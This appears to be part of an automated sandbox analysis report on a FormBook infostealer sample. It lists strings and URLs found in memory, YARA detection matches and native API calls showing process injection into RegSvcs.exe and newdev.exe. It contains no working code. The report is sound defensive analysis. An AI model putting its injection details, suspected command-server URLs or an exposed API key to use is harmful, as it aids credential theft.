Source: newdev.exe, 00000005.00000002.4549322072.00000000062D8000.00000004.10000000.00040000.00000000.sdmp, TEDSEqbHCFz.exe, 00000006.00000002.4547868737.00000000044A8000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://hoolrealestate.com/wp-content/uploads/2024/01/ico-150x150.jpg
Source: TEDSEqbHCFz.exe, 00000006.00000002.4547868737.00000000044A8000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://hoolrealestate.com/wp-content/uploads/2024/01/ico-300x300.jpg
Source: TEDSEqbHCFz.exe, 00000006.00000002.4547868737.00000000044A8000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://hoolrealestate.com/wp-content/uploads/2024/01/logo-hool-300x139.jpg
Source: TEDSEqbHCFz.exe, 00000006.00000002.4547868737.00000000044A8000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://hoolrealestate.com/wp-content/uploads/2024/01/logo-hool.jpg
Source: TEDSEqbHCFz.exe, 00000006.00000002.4547868737.00000000044A8000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://hoolrealestate.com/wp-json/
Source: newdev.exe, 00000005.00000002.4549322072.00000000062D8000.00000004.10000000.00040000.00000000.sdmp, TEDSEqbHCFz.exe, 00000006.00000002.4547868737.00000000044A8000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://hoolrealestate.com/xmlrpc.php?rsd
Source: newdev.exe, 00000005.00000003.2410876802.00000000080CB000.00000004.00000020.00020000.00000000.sdmp, newdev.exe, 00000005.00000003.2348912394.0000000007A79000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submit/firefox-launcher-process/launcher-process-failure/1/
Source: newdev.exe, 00000005.00000002.4540353437.0000000002D5C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: newdev.exe, 00000005.00000002.4540353437.0000000002D3A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: newdev.exe, 00000005.00000003.2344215358.0000000007953000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: newdev.exe, 00000005.00000002.4540353437.0000000002D5C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: newdev.exe, 00000005.00000002.4540353437.0000000002D3A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: newdev.exe, 00000005.00000002.4540353437.0000000002D5C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: newdev.exe, 00000005.00000002.4540353437.0000000002D5C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: newdev.exe, 00000005.00000002.4549322072.00000000062D8000.00000004.10000000.00040000.00000000.sdmp, TEDSEqbHCFz.exe, 00000006.00000002.4547868737.00000000044A8000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://maps.googleapis.com/maps/api/js?key=AIzaSyAB8E5Ka_MsRABU7UijLS-2roMgvwpnfmI&amp;libraries=pl
Source: newdev.exe, 00000005.00000003.2348912394.0000000007A79000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://mozilla.org0/
Source: newdev.exe, 00000005.00000002.4549322072.0000000005AFE000.00000004.10000000.00040000.00000000.sdmp, TEDSEqbHCFz.exe, 00000006.00000002.4547868737.0000000003CCE000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://optimize.google.com
Source: newdev.exe, 00000005.00000002.4549322072.00000000062D8000.00000004.10000000.00040000.00000000.sdmp, TEDSEqbHCFz.exe, 00000006.00000002.4547868737.00000000044A8000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://schema.org/WebPage
Source: newdev.exe, 00000005.00000002.4549322072.00000000062D8000.00000004.10000000.00040000.00000000.sdmp, TEDSEqbHCFz.exe, 00000006.00000002.4547868737.00000000044A8000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://static.addtoany.com/menu/page.js?ver=6.4.3
Source: newdev.exe, 00000005.00000002.4549322072.0000000005AFE000.00000004.10000000.00040000.00000000.sdmp, TEDSEqbHCFz.exe, 00000006.00000002.4547868737.0000000003CCE000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://td.doubleclick.net
Source: newdev.exe, 00000005.00000002.4549322072.0000000005AFE000.00000004.10000000.00040000.00000000.sdmp, newdev.exe, 00000005.00000002.4550929779.00000000076D0000.00000004.00000800.00020000.00000000.sdmp, TEDSEqbHCFz.exe, 00000006.00000002.4547868737.0000000003CCE000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://w.ladicdn.com/v2/source/html5shiv.min.js?v=1569310222693
Source: newdev.exe, 00000005.00000002.4549322072.0000000005AFE000.00000004.10000000.00040000.00000000.sdmp, newdev.exe, 00000005.00000002.4550929779.00000000076D0000.00000004.00000800.00020000.00000000.sdmp, TEDSEqbHCFz.exe, 00000006.00000002.4547868737.0000000003CCE000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://w.ladicdn.com/v2/source/respond.min.js?v=1569310222693
Source: newdev.exe, 00000005.00000003.2348912394.0000000007A79000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.digicert.com/CPS0
Source: newdev.exe, 00000005.00000003.2347128549.0000000007978000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: newdev.exe, 00000005.00000002.4549322072.0000000005AFE000.00000004.10000000.00040000.00000000.sdmp, TEDSEqbHCFz.exe, 00000006.00000002.4547868737.0000000003CCE000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.google-analytics.com
Source: newdev.exe, 00000005.00000003.2347128549.0000000007978000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: newdev.exe, 00000005.00000002.4549322072.0000000005AFE000.00000004.10000000.00040000.00000000.sdmp, TEDSEqbHCFz.exe, 00000006.00000002.4547868737.0000000003CCE000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.googleanalytics.com
Source: newdev.exe, 00000005.00000002.4549322072.0000000005AFE000.00000004.10000000.00040000.00000000.sdmp, TEDSEqbHCFz.exe, 00000006.00000002.4547868737.0000000003CCE000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.googleoptimize.com
Source: newdev.exe, 00000005.00000002.4549322072.00000000062D8000.00000004.10000000.00040000.00000000.sdmp, TEDSEqbHCFz.exe, 00000006.00000002.4547868737.00000000044A8000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.instagram.com/hoolgroup?igsh=MWtybjVzMTF1YXBwOQ%3D%3D
Source: newdev.exe, 00000005.00000002.4549322072.0000000005324000.00000004.10000000.00040000.00000000.sdmp, TEDSEqbHCFz.exe, 00000006.00000002.4547868737.00000000034F4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2410945061.000000002F1C4000.00000004.80000000.00040000.00000000.sdmp String found in binary or memory: https://www.tygavpn.com/e368/?Sp8=G2cdR0jX&fvqX7=wn3MJKjdQG1FkzNk7nSQLeBmNgZKITo5jH0P6Kf/gPQiWAQ/siH
Source: newdev.exe, 00000005.00000002.4549322072.0000000005FB4000.00000004.10000000.00040000.00000000.sdmp, TEDSEqbHCFz.exe, 00000006.00000002.4547868737.0000000004184000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://zz.bdstatic.com/linksubmit/push.js

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 3.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.4549492343.0000000005540000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.4536118705.0000000000720000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2170704940.00000000010D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.4538159031.0000000002C40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2170261659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.4537848670.0000000002C00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2171496231.0000000004880000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.4546816964.0000000006290000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 3.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 3.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.4549492343.0000000005540000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.4536118705.0000000000720000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.2170704940.00000000010D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.4538159031.0000000002C40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.2170261659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.4537848670.0000000002C00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.2171496231.0000000004880000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.4546816964.0000000006290000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Contains functionality to call native functions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0040B033 NtMapViewOfSection, 3_2_0040B033
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0040B903 NtDelayExecution, 3_2_0040B903
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0040A9F3 NtResumeThread, 3_2_0040A9F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0042B983 NtClose, 3_2_0042B983
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0040B263 NtCreateFile, 3_2_0040B263
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0040A3C3 NtSuspendThread, 3_2_0040A3C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0040B493 NtReadFile, 3_2_0040B493
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0040BD23 NtAllocateVirtualMemory, 3_2_0040BD23
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0040A5D3 NtGetContextThread, 3_2_0040A5D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0040AE13 NtCreateSection, 3_2_0040AE13
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0040A7E3 NtSetContextThread, 3_2_0040A7E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222B60 NtClose,LdrInitializeThunk, 3_2_01222B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222DF0 NtQuerySystemInformation,LdrInitializeThunk, 3_2_01222DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222C70 NtFreeVirtualMemory,LdrInitializeThunk, 3_2_01222C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012235C0 NtCreateMutant,LdrInitializeThunk, 3_2_012235C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01224340 NtSetContextThread, 3_2_01224340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01224650 NtSuspendThread, 3_2_01224650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222BA0 NtEnumerateValueKey, 3_2_01222BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222B80 NtQueryInformationFile, 3_2_01222B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222BE0 NtQueryValueKey, 3_2_01222BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222BF0 NtAllocateVirtualMemory, 3_2_01222BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222AB0 NtWaitForSingleObject, 3_2_01222AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222AF0 NtWriteFile, 3_2_01222AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222AD0 NtReadFile, 3_2_01222AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222D30 NtUnmapViewOfSection, 3_2_01222D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222D00 NtSetInformationFile, 3_2_01222D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222D10 NtMapViewOfSection, 3_2_01222D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222DB0 NtEnumerateKey, 3_2_01222DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222DD0 NtDelayExecution, 3_2_01222DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222C00 NtQueryInformationProcess, 3_2_01222C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222C60 NtCreateKey, 3_2_01222C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222CA0 NtQueryInformationToken, 3_2_01222CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222CF0 NtOpenProcess, 3_2_01222CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222CC0 NtQueryVirtualMemory, 3_2_01222CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222F30 NtCreateSection, 3_2_01222F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222F60 NtCreateProcessEx, 3_2_01222F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222FA0 NtQuerySection, 3_2_01222FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222FB0 NtResumeThread, 3_2_01222FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222F90 NtProtectVirtualMemory, 3_2_01222F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222FE0 NtCreateFile, 3_2_01222FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222E30 NtWriteVirtualMemory, 3_2_01222E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222EA0 NtAdjustPrivilegesToken, 3_2_01222EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222E80 NtReadVirtualMemory, 3_2_01222E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222EE0 NtQueueApcThread, 3_2_01222EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01223010 NtOpenDirectoryObject, 3_2_01223010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01223090 NtSetValueKey, 3_2_01223090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012239B0 NtGetContextThread, 3_2_012239B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01223D10 NtOpenProcessToken, 3_2_01223D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01223D70 NtOpenThread, 3_2_01223D70
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04984650 NtSuspendThread,LdrInitializeThunk, 5_2_04984650
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04984340 NtSetContextThread,LdrInitializeThunk, 5_2_04984340
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982CA0 NtQueryInformationToken,LdrInitializeThunk, 5_2_04982CA0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982C70 NtFreeVirtualMemory,LdrInitializeThunk, 5_2_04982C70
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982C60 NtCreateKey,LdrInitializeThunk, 5_2_04982C60
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982DD0 NtDelayExecution,LdrInitializeThunk, 5_2_04982DD0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982DF0 NtQuerySystemInformation,LdrInitializeThunk, 5_2_04982DF0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982D10 NtMapViewOfSection,LdrInitializeThunk, 5_2_04982D10
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982D30 NtUnmapViewOfSection,LdrInitializeThunk, 5_2_04982D30
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982E80 NtReadVirtualMemory,LdrInitializeThunk, 5_2_04982E80
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982EE0 NtQueueApcThread,LdrInitializeThunk, 5_2_04982EE0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982FB0 NtResumeThread,LdrInitializeThunk, 5_2_04982FB0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982FE0 NtCreateFile,LdrInitializeThunk, 5_2_04982FE0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982F30 NtCreateSection,LdrInitializeThunk, 5_2_04982F30
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982AD0 NtReadFile,LdrInitializeThunk, 5_2_04982AD0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982AF0 NtWriteFile,LdrInitializeThunk, 5_2_04982AF0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982BA0 NtEnumerateValueKey,LdrInitializeThunk, 5_2_04982BA0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982BF0 NtAllocateVirtualMemory,LdrInitializeThunk, 5_2_04982BF0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982BE0 NtQueryValueKey,LdrInitializeThunk, 5_2_04982BE0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982B60 NtClose,LdrInitializeThunk, 5_2_04982B60
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049835C0 NtCreateMutant,LdrInitializeThunk, 5_2_049835C0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049839B0 NtGetContextThread,LdrInitializeThunk, 5_2_049839B0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982CC0 NtQueryVirtualMemory, 5_2_04982CC0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982CF0 NtOpenProcess, 5_2_04982CF0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982C00 NtQueryInformationProcess, 5_2_04982C00
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982DB0 NtEnumerateKey, 5_2_04982DB0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982D00 NtSetInformationFile, 5_2_04982D00
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982EA0 NtAdjustPrivilegesToken, 5_2_04982EA0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982E30 NtWriteVirtualMemory, 5_2_04982E30
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982F90 NtProtectVirtualMemory, 5_2_04982F90
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982FA0 NtQuerySection, 5_2_04982FA0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982F60 NtCreateProcessEx, 5_2_04982F60
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982AB0 NtWaitForSingleObject, 5_2_04982AB0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04982B80 NtQueryInformationFile, 5_2_04982B80
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04983090 NtSetValueKey, 5_2_04983090
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04983010 NtOpenDirectoryObject, 5_2_04983010
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04983D10 NtOpenProcessToken, 5_2_04983D10
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04983D70 NtOpenThread, 5_2_04983D70
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_00748380 NtCreateFile, 5_2_00748380
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_007484B0 NtReadFile, 5_2_007484B0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_00748570 NtDeleteFile, 5_2_00748570
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_007485F0 NtClose, 5_2_007485F0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_00748720 NtAllocateVirtualMemory, 5_2_00748720
Detected potential crypto function
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Code function: 1_2_00D0E2FC 1_2_00D0E2FC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Code function: 1_2_0542DB70 1_2_0542DB70
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Code function: 1_2_05420640 1_2_05420640
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Code function: 1_2_054281E0 1_2_054281E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Code function: 1_2_05420040 1_2_05420040
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Code function: 1_2_05421348 1_2_05421348
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Code function: 1_2_05421358 1_2_05421358
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Code function: 1_2_05427DA8 1_2_05427DA8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Code function: 1_2_05429CC0 1_2_05429CC0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Code function: 1_2_05427970 1_2_05427970
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Code function: 1_2_0542F938 1_2_0542F938
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Code function: 1_2_05429888 1_2_05429888
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_004015C0 3_2_004015C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00401000 3_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00403080 3_2_00403080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00401140 3_2_00401140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00417933 3_2_00417933
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_004111CA 3_2_004111CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_004111D3 3_2_004111D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00401300 3_2_00401300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_004113F3 3_2_004113F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00402460 3_2_00402460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0040F473 3_2_0040F473
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00402CF0 3_2_00402CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0042DD53 3_2_0042DD53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0040F5B7 3_2_0040F5B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_004027EE 3_2_004027EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_004027F0 3_2_004027F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E0100 3_2_011E0100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128A118 3_2_0128A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01278158 3_2_01278158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B01AA 3_2_012B01AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012A41A2 3_2_012A41A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012A81CC 3_2_012A81CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01282000 3_2_01282000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012AA352 3_2_012AA352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B03E6 3_2_012B03E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011FE3F0 3_2_011FE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01290274 3_2_01290274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012702C0 3_2_012702C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F0535 3_2_011F0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B0591 3_2_012B0591
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01294420 3_2_01294420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012A2446 3_2_012A2446
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0129E4F6 3_2_0129E4F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F0770 3_2_011F0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01214750 3_2_01214750
